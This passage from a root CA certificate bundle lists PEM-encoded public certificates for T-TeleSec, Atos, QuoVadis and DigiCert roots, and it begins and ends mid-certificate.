3GV17CpNX8GH9SBlK4GoRz6JI5UwFpB/6FcHSOcZrr9FZ7E3GwYq/t75rH2D+1665I+XZ75Ljo1k
B1c4VWk0Nj0TSO9P4tNmHqTPGrdeNjPUtAa9GAH9d4RQAEX1jF3oI7x+/jXh7VB7qTCNGdMJjmhn
Xb88lxhTuylixcpecsHHltTbLaC0H2kD7OriUPEMPPCs81Mt8Bz17Ww5OXOAFshSsCPN4D7c3TxH
oLs1iuKYaIu+5b9y7tL6pe0S7fyYGKkmdtwoSxAgHNN/Fnct7W+A90m7UwW7XWjH1Mh1Fj+JWov3
F0fUTPHSiXk+TT2YqGHeOh7S+F4D4MHJHIzTjU3TlTazN19jY5szFPAtJmtTfImMMsJu7D0hADnJ
oWjiUIMusDor8zagrC/kb2HCUQk5PotTubtn2txTuXZZNp1D5SDgPTJghSJRt8czu90VL6R4pgd7
gUY2BIbdeTXHlSw7sKMXNeVzH7RcWe/a6hBle3rQf5+ztCo3O3CLm1u5K7fsslESl1MpWtTwEhDc
TwK7EpIvYtQ/aUN8Ddb8WHUBiJ1YFkveupD/RwGJBmr2X7KQarMCpgKIv7NHfirZ1fpoeDVNAgMB
AAGjPzA9MA8GA1UdEwEB/wQFMAMBAf8wCwYDVR0PBAQDAgEGMB0GA1UdDgQWBBTwj1k4ALP1j5qW
DNXr+nuqF+gTEjANBgkqhkiG9w0BAQUFAAOCAgEAvuRcYk4k9AwI//DTDGjkk0kiP0Qnb7tt3oNm
zqjMDfz1mgbldxSR651Be5kqhOX//CHBXfDkH1e3damhXwIm/9fH907eT/j3HEbAek9ALCI18Bmx
0GtnLLCo4MBANzX2hFxc469CeP6nyQ1Q6g2EdvZR74NTxnr/DlZJLo961gzmJ1TjTQpgcmLNkQfW
pb/ImWvtxBnmq0wROMVvMeJuScg/doAmAyYp4Db29iBT4xdwNBedY2gea+zDTYa4EzAvXUYNR0PV
G6pZDrlcjQZIrXSHX8f8MVRBE+LHIQ6e4B4N4cB7Q4WQxYpYxmUKeFfyxiMPAdkgS94P+5KFdSpc
c41teyWRyu5FrgZLAMzTsVlQ2jqIOylDRl6XK1TOU2+NSueW+r9xDkKLfP0ooNBIytrEgUy7onOT
JsjrDNYmiLbAJM+7vVvrdX3pCI6GMyx5dwlppYn8s3CQh3aP0yK7Qs69cwsgJirQmz1wHiRszYd2
qReWt88NkvuOGKmYSdGe/mBEciG5Ge3C9THxOUiIkCR1VBatzvT4aRRkOfujuLpwQMcnHL/EVlP6
Y2XQ8xwOFvVrhlhNGNTkDY6lnVuR3HYkUD/GKvvZt5y11ubQ2egZixVxSK236thZiNSQvxaz2ems
WWFUyBy6ysHK4bkgTI86k4mloMy/0/Z1pHWWbVY=
-----END CERTIFICATE-----

T-TeleSec GlobalRoot Class 2
============================
-----BEGIN CERTIFICATE-----
MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoM
IlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBU
cnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDIwHhcNMDgx
MDAxMTA0MDE0WhcNMzMxMDAxMjM1OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lz
dGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBD
ZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQCqX9obX+hzkeXaXPSi5kfl82hVYAUdAqSzm1nzHoqvNK38DcLZ
SBnuaY/JIPwhqgcZ7bBcrGXHX+0CfHt8LRvWurmAwhiCFoT6ZrAIxlQjgeTNuUk/9k9uN0goOA/F
vudocP05l03Sx5iRUKrERLMjfTlH6VJi1hKTXrcxlkIF+3anHqP1wvzpesVsqXFP6st4vGCvx970
2cu+fjOlbpSD8DT6IavqjnKgP6TeMFvvhk1qlVtDRKgQFRzlAVfFmPHmBiiRqiDFt1MmUUOyCxGV
WOHAD3bZwI18gfNycJ5v/hqO2V81xrJvNHy+SE/iWjnX2J14np+GPgNeGYtEotXHAgMBAAGjQjBA
MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS/WSA2AHmgoCJrjNXy
YdK4LMuCSjANBgkqhkiG9w0BAQsFAAOCAQEAMQOiYQsfdOhyNsZt+U2e+iKo4YFWz827n+qrkRk4
r6p8FU3ztqONpfSO9kSpp+ghla0+AGIWiPACuvxhI+YzmzB6azZie60EI4RYZeLbK4rnJVM3YlNf
vNoBYimipidx5joifsFvHZVwIEoHNN/q/xWA5brXethbdXwFeilHfkCoMRN3zUA7tFFHei4R40cR
3p1m0IvVVGb6g1XqfMIpiRvpb7PO4gWEyS8+eIVibslfwXhjdFjASBgMmTnrpMwatXlajRWc2BQN
9noHV8cigwUtPJslJj0Ys6lDfMjIq2SPDqO/nBudMNva0Bkuqjzx+zOAduTNrRlPBSeOE6Fuwg==
-----END CERTIFICATE-----

Atos TrustedRoot 2011
=====================
-----BEGIN CERTIFICATE-----
MIIDdzCCAl+gAwIBAgIIXDPLYixfszIwDQYJKoZIhvcNAQELBQAwPDEeMBwGA1UEAwwVQXRvcyBU
cnVzdGVkUm9vdCAyMDExMQ0wCwYDVQQKDARBdG9zMQswCQYDVQQGEwJERTAeFw0xMTA3MDcxNDU4
MzBaFw0zMDEyMzEyMzU5NTlaMDwxHjAcBgNVBAMMFUF0b3MgVHJ1c3RlZFJvb3QgMjAxMTENMAsG
A1UECgwEQXRvczELMAkGA1UEBhMCREUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCV
hTuXbyo7LjvPpvMpNb7PGKw+qtn4TaA+Gke5vJrf8v7MPkfoepbCJI419KkM/IL9bcFyYie96mvr
54rMVD6QUM+A1JX76LWC1BTFtqlVJVfbsVD2sGBkWXppzwO3bw2+yj5vdHLqqjAqc2K+SZFhyBH+
DgMq92og3AIVDV4VavzjgsG1xZ1kCWyjWZgHJ8cblithdHFsQ/H3NYkQ4J7sVaE3IqKHBAUsR320
HLliKWYoyrfhk/WklAOZuXCFteZI6o1Q/NnezG8HDt0Lcp2AMBYHlT8oDv3FdU9T1nSatCQujgKR
z3bFmx5VdJx4IbHwLfELn8LVlhgf8FQieowHAgMBAAGjfTB7MB0GA1UdDgQWBBSnpQaxLKYJYO7R
l+lwrrw7GWzbITAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFKelBrEspglg7tGX6XCuvDsZ
bNshMBgGA1UdIAQRMA8wDQYLKwYBBAGwLQMEAQEwDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEB
CwUAA4IBAQAmdzTblEiGKkGdLD4GkGDEjKwLVLgfuXvTBznk+j57sj1O7Z8jvZfza1zv7v1Apt+h
k6EKhqzvINB5Ab149xnYJDE0BAGmuhWawyfc2E8PzBhj/5kPDpFrdRbhIfzYJsdHt6bPWHJxfrrh
TZVHO8mvbaG0weyJ9rQPOLXiZNwlz6bb65pcmaHFCN795trV1lpFDMS3wrUU77QR/w4VtfX128a9
61qn8FYiqTxlVMYVqL2Gns2Dlmh6cYGJ4Qvh6hEbaAjMaZ7snkGeRDImeuKHCnE96+RapNLbxc3G
3mB/ufNPRJLvKrcYPqcZ2Qt9sTdBQrC6YB3y/gkRsPCHe6ed
-----END CERTIFICATE-----

QuoVadis Root CA 1 G3
=====================
-----BEGIN CERTIFICATE-----
MIIFYDCCA0igAwIBAgIUeFhfLq0sGUvjNwc1NBMotZbUZZMwDQYJKoZIhvcNAQELBQAwSDELMAkG
A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv
b3QgQ0EgMSBHMzAeFw0xMjAxMTIxNzI3NDRaFw00MjAxMTIxNzI3NDRaMEgxCzAJBgNVBAYTAkJN
MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDEg
RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCgvlAQjunybEC0BJyFuTHK3C3kEakE
PBtVwedYMB0ktMPvhd6MLOHBPd+C5k+tR4ds7FtJwUrVu4/sh6x/gpqG7D0DmVIB0jWerNrwU8lm
PNSsAgHaJNM7qAJGr6Qc4/hzWHa39g6QDbXwz8z6+cZM5cOGMAqNF34168Xfuw6cwI2H44g4hWf6
Pser4BOcBRiYz5P1sZK0/CPTz9XEJ0ngnjybCKOLXSoh4Pw5qlPafX7PGglTvF0FBM+hSo+LdoIN
ofjSxxR3W5A2B4GbPgb6Ul5jxaYA/qXpUhtStZI5cgMJYr2wYBZupt0lwgNm3fME0UDiTouG9G/l
g6AnhF4EwfWQvTA9xO+oabw4m6SkltFi2mnAAZauy8RRNOoMqv8hjlmPSlzkYZqn0ukqeI1RPToV
7qJZjqlc3sX5kCLliEVx3ZGZbHqfPT2YfF72vhZooF6uCyP8Wg+qInYtyaEQHeTTRCOQiJ/GKubX
9ZqzWB4vMIkIG1SitZgj7Ah3HJVdYdHLiZxfokqRmu8hqkkWCKi9YSgxyXSthfbZxbGL0eUQMk1f
iyA6PEkfM4VZDdvLCXVDaXP7a3F98N/ETH3Goy7IlXnLc6KOTk0k+17kBL5yG6YnLUlamXrXXAkg
t3+UuU/xDRxeiEIbEbfnkduebPRq34wGmAOtzCjvpUfzUwIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUo5fW816iEOGrRZ88F2Q87gFwnMwwDQYJKoZI
hvcNAQELBQADggIBABj6W3X8PnrHX3fHyt/PX8MSxEBd1DKquGrX1RUVRpgjpeaQWxiZTOOtQqOC
MTaIzen7xASWSIsBx40Bz1szBpZGZnQdT+3Btrm0DWHMY37XLneMlhwqI2hrhVd2cDMT/uFPpiN3
GPoajOi9ZcnPP/TJF9zrx7zABC4tRi9pZsMbj/7sPtPKlL92CiUNqXsCHKnQO18LwIE6PWThv6ct
Tr1NxNgpxiIY0MWscgKCP6o6ojoilzHdCGPDdRS5YCgtW2jgFqlmgiNR9etT2DGbe+m3nUvriBbP
+V04ikkwj+3x6xn0dxoxGE1nVGwvb2X52z3sIexe9PSLymBlVNFxZPT5pqOBMzYzcfCkeF9OrYMh
3jRJjehZrJ3ydlo28hP0r+AJx2EqbPfgna67hkooby7utHnNkDPDs3b69fBsnQGQ+p6Q9pxyz0fa
wx/kNSBT8lTR32GDpgLiJTjehTItXnOQUl1CxM49S+H5GYQd1aJQzEH7QRTDvdbJWqNjZgKAvQU6
O0ec7AAmTPWIUb+oI38YB7AL7YsmoWTTYUrrXJ/es69nA7Mf3W1daWhpq1467HxpvMc7hU6eFbm0
FU/DlXpY18ls6Wy58yljXrQs8C097Vpl4KlbQMJImYFtnh8GKjwStIsPm6Ik8KaN1nrgS7ZklmOV
hMJKzRwuJIczYOXD
-----END CERTIFICATE-----

QuoVadis Root CA 2 G3
=====================
-----BEGIN CERTIFICATE-----
MIIFYDCCA0igAwIBAgIURFc0JFuBiZs18s64KztbpybwdSgwDQYJKoZIhvcNAQELBQAwSDELMAkG
A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv
b3QgQ0EgMiBHMzAeFw0xMjAxMTIxODU5MzJaFw00MjAxMTIxODU5MzJaMEgxCzAJBgNVBAYTAkJN
MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDIg
RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQChriWyARjcV4g/Ruv5r+LrI3HimtFh
ZiFfqq8nUeVuGxbULX1QsFN3vXg6YOJkApt8hpvWGo6t/x8Vf9WVHhLL5hSEBMHfNrMWn4rjyduY
NM7YMxcoRvynyfDStNVNCXJJ+fKH46nafaF9a7I6JaltUkSs+L5u+9ymc5GQYaYDFCDy54ejiK2t
oIz/pgslUiXnFgHVy7g1gQyjO/Dh4fxaXc6AcW34Sas+O7q414AB+6XrW7PFXmAqMaCvN+ggOp+o
MiwMzAkd056OXbxMmO7FGmh77FOm6RQ1o9/NgJ8MSPsc9PG/Srj61YxxSscfrf5BmrODXfKEVu+l
V0POKa2Mq1W/xPtbAd0jIaFYAI7D0GoT7RPjEiuA3GfmlbLNHiJuKvhB1PLKFAeNilUSxmn1uIZo
L1NesNKqIcGY5jDjZ1XHm26sGahVpkUG0CM62+tlXSoREfA7T8pt9DTEceT/AFr2XK4jYIVz8eQQ
sSWu1ZK7E8EM4DnatDlXtas1qnIhO4M15zHfeiFuuDIIfR0ykRVKYnLP43ehvNURG3YBZwjgQQvD
6xVu+KQZ2aKrr+InUlYrAoosFCT5v0ICvybIxo/gbjh9Uy3l7ZizlWNof/k19N+IxWA1ksB8aRxh
lRbQ694Lrz4EEEVlWFA4r0jyWbYW8jwNkALGcC4BrTwV1wIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQU7edvdlq/YOxJW8ald7tyFnGbxD0wDQYJKoZI
hvcNAQELBQADggIBAJHfgD9DCX5xwvfrs4iP4VGyvD11+ShdyLyZm3tdquXK4Qr36LLTn91nMX66
AarHakE7kNQIXLJgapDwyM4DYvmL7ftuKtwGTTwpD4kWilhMSA/ohGHqPHKmd+RCroijQ1h5fq7K
pVMNqT1wvSAZYaRsOPxDMuHBR//47PERIjKWnML2W2mWeyAMQ0GaW/ZZGYjeVYg3UQt4XAoeo0L9
x52ID8DyeAIkVJOviYeIyUqAHerQbj5hLja7NQ4nlv1mNDthcnPxFlxHBlRJAHpYErAK74X9sbgz
dWqTHBLmYF5vHX/JHyPLhGGfHoJE+V+tYlUkmlKY7VHnoX6XOuYvHxHaU4AshZ6rNRDbIl9qxV6X
U/IyAgkwo1jwDQHVcsaxfGl7w/U2Rcxhbl5MlMVerugOXou/983g7aEOGzPuVBj+D77vfoRrQ+Nw
mNtddbINWQeFFSM51vHfqSYP1kjHs6Yi9TM3WpVHn3u6GBVv/9YUZINJ0gpnIdsPNWNgKCLjsZWD
zYWm3S8P52dSbrsvhXz1SnPnxT7AvSESBT/8twNJAlvIJebiVDj1eYeMHVOyToV7BjjHLPj4sHKN
JeV3UvQDHEimUF+IIDBu8oJDqz2XhOdT+yHBTw8imoa4WSr2Rz0ZiC3oheGe7IUIarFsNMkd7Egr
O3jtZsSOeWmD3n+M
-----END CERTIFICATE-----

QuoVadis Root CA 3 G3
=====================
-----BEGIN CERTIFICATE-----
MIIFYDCCA0igAwIBAgIULvWbAiin23r/1aOp7r0DoM8Sah0wDQYJKoZIhvcNAQELBQAwSDELMAkG
A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv
b3QgQ0EgMyBHMzAeFw0xMjAxMTIyMDI2MzJaFw00MjAxMTIyMDI2MzJaMEgxCzAJBgNVBAYTAkJN
MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDMg
RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCzyw4QZ47qFJenMioKVjZ/aEzHs286
IxSR/xl/pcqs7rN2nXrpixurazHb+gtTTK/FpRp5PIpM/6zfJd5O2YIyC0TeytuMrKNuFoM7pmRL
Mon7FhY4futD4tN0SsJiCnMK3UmzV9KwCoWdcTzeo8vAMvMBOSBDGzXRU7Ox7sWTaYI+FrUoRqHe
6okJ7UO4BUaKhvVZR74bbwEhELn9qdIoyhA5CcoTNs+cra1AdHkrAj80//ogaX3T7mH1urPnMNA3
I4ZyYUUpSFlob3emLoG+B01vr87ERRORFHAGjx+f+IdpsQ7vw4kZ6+ocYfx6bIrc1gMLnia6Et3U
VDmrJqMz6nWB2i3ND0/kA9HvFZcba5DFApCTZgIhsUfei5pKgLlVj7WiL8DWM2fafsSntARE60f7
5li59wzweyuxwHApw0BiLTtIadwjPEjrewl5qW3aqDCYz4ByA4imW0aucnl8CAMhZa634RylsSqi
Md5mBPfAdOhx3v89WcyWJhKLhZVXGqtrdQtEPREoPHtht+KPZ0/l7DxMYIBpVzgeAVuNVejH38DM
dyM0SXV89pgR6y3e7UEuFAUCf+D+IOs15xGsIs5XPd7JMG0QA4XN8f+MFrXBsj6IbGB/kE+V9/Yt
rQE5BwT6dYB9v0lQ7e/JxHwc64B+27bQ3RP+ydOc17KXqQIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUxhfQvKjqAkPyGwaZXSuQILnXnOQwDQYJKoZI
hvcNAQELBQADggIBADRh2Va1EodVTd2jNTFGu6QHcrxfYWLopfsLN7E8trP6KZ1/AvWkyaiTt3px
KGmPc+FSkNrVvjrlt3ZqVoAh313m6Tqe5T72omnHKgqwGEfcIHB9UqM+WXzBusnIFUBhynLWcKzS
t/Ac5IYp8M7vaGPQtSCKFWGafoaYtMnCdvvMujAWzKNhxnQT5WvvoxXqA/4Ti2Tk08HS6IT7SdEQ
TXlm66r99I0xHnAUrdzeZxNMgRVhvLfZkXdxGYFgu/BYpbWcC/ePIlUnwEsBbTuZDdQdm2NnL9Du
DcpmvJRPpq3t/O5jrFc/ZSXPsoaP0Aj/uHYUbt7lJ+yreLVTubY/6CD50qi+YUbKh4yE8/nxoGib
Ih6BJpsQBJFxwAYf3KDTuVan45gtf4Od34wrnDKOMpTwATwiKp9Dwi7DmDkHOHv8XgBCH/MyJnmD
hPbl8MFREsALHgQjDFSlTC9JxUrRtm5gDWv8a4uFJGS3iQ6rJUdbPM9+Sb3H6QrG2vd+DhcI00iX
0HGS8A85PjRqHH3Y8iKuu2n0M7SmSFXRDw4m6Oy2Cy2nhTXN/VnIn9HNPlopNLk9hM6xZdRZkZFW
dSHBd575euFgndOtBBj0fOtek49TSiIp+EgrPk2GrFt/ywaZWWDYWGWVjUTR939+J399roD1B0y2
PpxxVJkES/1Y+Zj0
-----END CERTIFICATE-----

DigiCert Assured ID Root G2
===========================
-----BEGIN CERTIFICATE-----
MIIDljCCAn6gAwIBAgIQC5McOtY5Z+pnI7/Dr5r0SzANBgkqhkiG9w0BAQsFADBlMQswCQYDVQQG
EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQw
IgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzIwHhcNMTMwODAxMTIwMDAwWhcNMzgw
MTE1MTIwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQL
ExB3d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzIw
ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDZ5ygvUj82ckmIkzTz+GoeMVSAn61UQbVH
35ao1K+ALbkKz3X9iaV9JPrjIgwrvJUXCzO/GU1BBpAAvQxNEP4HteccbiJVMWWXvdMX0h5i89vq
bFCMP4QMls+3ywPgym2hFEwbid3tALBSfK+RbLE4E9HpEgjAALAcKxHad3A2m67OeYfcgnDmCXRw
VWmvo2ifv922ebPynXApVfSr/5Vh88lAbx3RvpO704gqu52/clpWcTs/1PPRCv4o76Pu2ZmvA9OP
YLfykqGxvYmJHzDNw6YuYjOuFgJ3RFrngQo8p0Quebg/BLxcoIfhG69Rjs3sLPr4/m3wOnyqi+Rn
lTGNAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBTO
w0q5mVXyuNtgv6l+vVa1lzan1jANBgkqhkiG9w0BAQsFAAOCAQEAyqVVjOPIQW5pJ6d1Ee88hjZv
0p3GeDgdaZaikmkuOGybfQTUiaWxMTeKySHMq2zNixya1r9I0jJmwYrA8y8678Dj1JGG0VDjA9tz
d29KOVPt3ibHtX2vK0LRdWLjSisCx1BL4GnilmwORGYQRI+tBev4eaymG+g3NJ1TyWGqolKvSnAW
hsI6yLETcDbYz+70CjTVW0z9B5yiutkBclzzTcHdDrEcDcRjvq30FPuJ7KJBDkzMyFdA0G4Dqs0M
jomZmWzwPDCvON9vvKO+KSAnq3T/EyJ43pdSVR6DtVQgA+6uwE9W3jfMw3+qBCe703e4YtsXfJwo
IhNzbM8m9Yop5w==
-----END CERTIFICATE-----

DigiCert Assured ID Root G3
===========================
-----BEGIN CERTIFICATE-----
MIICRjCCAc2gAwIBAgIQC6Fa+h3foLVJRK/NJKBs7DAKBggqhkjOPQQDAzBlMQswCQYDVQQGEwJV
UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQwIgYD
VQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1
MTIwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwdjAQ
BgcqhkjOPQIBBgUrgQQAIgNiAAQZ57ysRGXtzbg/WPuNsVepRC0FFfLvC/8QdJ+1YlJfZn4f5dwb
RXkLzMZTCp2NXQLZqVneAlr2lSoOjThKiknGvMYDOAdfVdp+CW7if17QRSAPWXYQ1qAk8C3eNvJs
KTmjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBTL0L2p4ZgF
UaFNN6KDec6NHSrkhDAKBggqhkjOPQQDAwNnADBkAjAlpIFFAmsSS3V0T8gj43DydXLefInwz5Fy
YZ5eEJJZVrmDxxDnOOlYJjZ91eQ0hjkCMHw2U/Aw5WJjOpnitqM7mzT6HtoQknFekROn3aRukswy
1vUhZscv6pZjamVFkpUBtA==
-----END CERTIFICATE-----

DigiCert Global Root G2
=======================
-----BEGIN CERTIFICATE-----
MIIDjjCCAnagAwIBAgIQAzrx5qcRqaC7KGSxHQn65TANBgkqhkiG9w0BAQsFADBhMQswCQYDVQQG
EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAw
HgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBHMjAeFw0xMzA4MDExMjAwMDBaFw0zODAxMTUx
MjAwMDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3
dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEcyMIIBIjANBgkq
hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuzfNNNx7a8myaJCtSnX/RrohCgiN9RlUyfuI2/Ou8jqJ
kTx65qsGGmvPrC3oXgkkRLpimn7Wo6h+4FR1IAWsULecYxpsMNzaHxmx1x7e/dfgy5SDN67sH0NO
3Xss0r0upS/kqbitOtSZpLYl6ZtrAGCSYP9PIUkY92eQq2EGnI/yuum06ZIya7XzV+hdG82MHauV
BJVJ8zUtluNJbd134/tJS7SsVQepj5WztCO7TG1F8PapspUwtP1MVYwnSlcUfIKdzXOS0xZKBgyM
UNGPHgm+F6HmIcr9g+UQvIOlCsRnKPZzFBQ9RnbDhxSJITRNrw9FDKZJobq7nMWxM4MphQIDAQAB
o0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUTiJUIBiV5uNu
5g/6+rkS7QYXjzkwDQYJKoZIhvcNAQELBQADggEBAGBnKJRvDkhj6zHd6mcY1Yl9PMWLSn/pvtsr
F9+wX3N3KjITOYFnQoQj8kVnNeyIv/iPsGEMNKSuIEyExtv4NeF22d+mQrvHRAiGfzZ0JFrabA0U
WTW98kndth/Jsw1HKj2ZL7tcu7XUIOGZX1NGFdtom/DzMNU+MeKNhJ7jitralj41E6Vf8PlwUHBH
QRFXGU7Aj64GxJUTFy8bJZ918rGOmaFvE7FBcf6IKshPECBV1/MUReXgRPTqh5Uykw7+U0b6LJ3/
iyK5S9kJRaTepLiaWN0bfVKfjllDiIGknibVb63dDcY3fe0Dkhvld1927jyNxF1WW6LZZm6zNTfl
MrY=
-----END CERTIFICATE-----

DigiCert Global Root G3
=======================
-----BEGIN CERTIFICATE-----
MIICPzCCAcWgAwIBAgIQBVVWvPJepDU1w6QP1atFcjAKBggqhkjOPQQDAzBhMQswCQYDVQQGEwJV
UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAwHgYD
VQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBHMzAeFw0xMzA4MDExMjAwMDBaFw0zODAxMTUxMjAw
MDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5k
aWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEczMHYwEAYHKoZIzj0C
AQYFK4EEACIDYgAE3afZu4q4C/sLfyHS8L6+c/MzXRq8NOrexpu80JX28MzQC7phW1FGfp4tn+6O
YwwX7Adw9c+ELkCDnOg/QW07rdOkFFk2eJ0DQ+4QE2xy3q6Ip6FrtUPOZ9wj/wMco+I+o0IwQDAP
BgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUs9tIpPmhxdiuNkHMEWNp
Yim8S8YwCgYIKoZIzj0EAwMDaAAwZQIxAK288mw/EkrRLTnDCgmXc/SINoyIJ7vmiI1Qhadj+Z4y
3maTD/HMsQmP3Wyr+mt/oAIwOWZbwmSNuJ5Q3KjVSaLtx9zRSX8XAbjIho9OjIgrqJqpisXRAL34
VOKa5Vt8sycX
-----END CERTIFICATE-----

DigiCert Trusted Root G4
========================
-----BEGIN CERTIFICATE-----
MIIFkDCCA3igAwIBAgIQBZsbV56OITLiOQe9p3d1XDANBgkqhkiG9w0BAQwFADBiMQswCQYDVQQG
EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSEw
HwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3QgRzQwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1
MTIwMDAwWjBiMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
d3cuZGlnaWNlcnQuY29tMSEwHwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3QgRzQwggIiMA0G
CSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC/5pBzaN675F1KPDAiMGkz7MKnJS7JIT3yithZwuEp
pz1Yq3aaza57G4QNxDAf8xukOBbrVsaXbR2rsnnyyhHS5F/WBTxSD1Ifxp4VpX6+n6lXFllVcq9o
k3DCsrp1mWpzMpTREEQQLt+C8weE5nQ7bXHiLQwb7iDVySAdYyktzuxeTsiT+CFhmzTrBcZe7Fsa
vOvJz82sNEBfsXpm7nfISKhmV1efVFiODCu3T6cw2Vbuyntd463JT17lNecxy9qTXtyOj4DatpGY
QJB5w3jHtrHEtWoYOAMQjdjUN6QuBX2I9YI+EJFwq1WCQTLX2wRzKm6RAXwhTNS8rhsDdV14Ztk6
MUSaM0C/CNdaSaTC5qmgZ92kJ7yhTzm1EVgX9yRcRo9k98FpiHaYdj1ZXUJ2h4mXaXpI8OCiEhtm
mnTK3kse5w5jrubU75KSOp493ADkRSWJtppEGSt+wJS00mFt6zPZxd9LBADMfRyVw4/3IbKyEbe7
f/LVjHAsQWCqsWMYRJUadmJ+9oCw++hkpjPRiQfhvbfmQ6QYuKZ3AeEPlAwhHbJUKSWJbOUOUlFH
dL4mrLZBdd56rF+NP8m800ERElvlEFDrMcXKchYiCd98THU/Y+whX8QgUWtvsauGi0/C1kVfnSD8
oR7FwI+isX4KJpn15GkvmB0t9dmpsh3lGwIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1Ud
DwEB/wQEAwIBhjAdBgNVHQ4EFgQU7NfjgtJxXWRM3y5nP+e6mK4cD08wDQYJKoZIhvcNAQEMBQAD
ggIBALth2X2pbL4XxJEbw6GiAI3jZGgPVs93rnD5/ZpKmbnJeFwMDF/k5hQpVgs2SV1EY+CtnJYY
ZhsjDT156W1r1lT40jzBQ0CuHVD1UvyQO7uYmWlrx8GnqGikJ9yd+SeuMIW59mdNOj6PWTkiU0Tr
yF0Dyu1Qen1iIQqAyHNm0aAFYF/opbSnr6j3bTWcfFqK1qI4mfN4i/RN0iAL3gTujJtHgXINwBQy
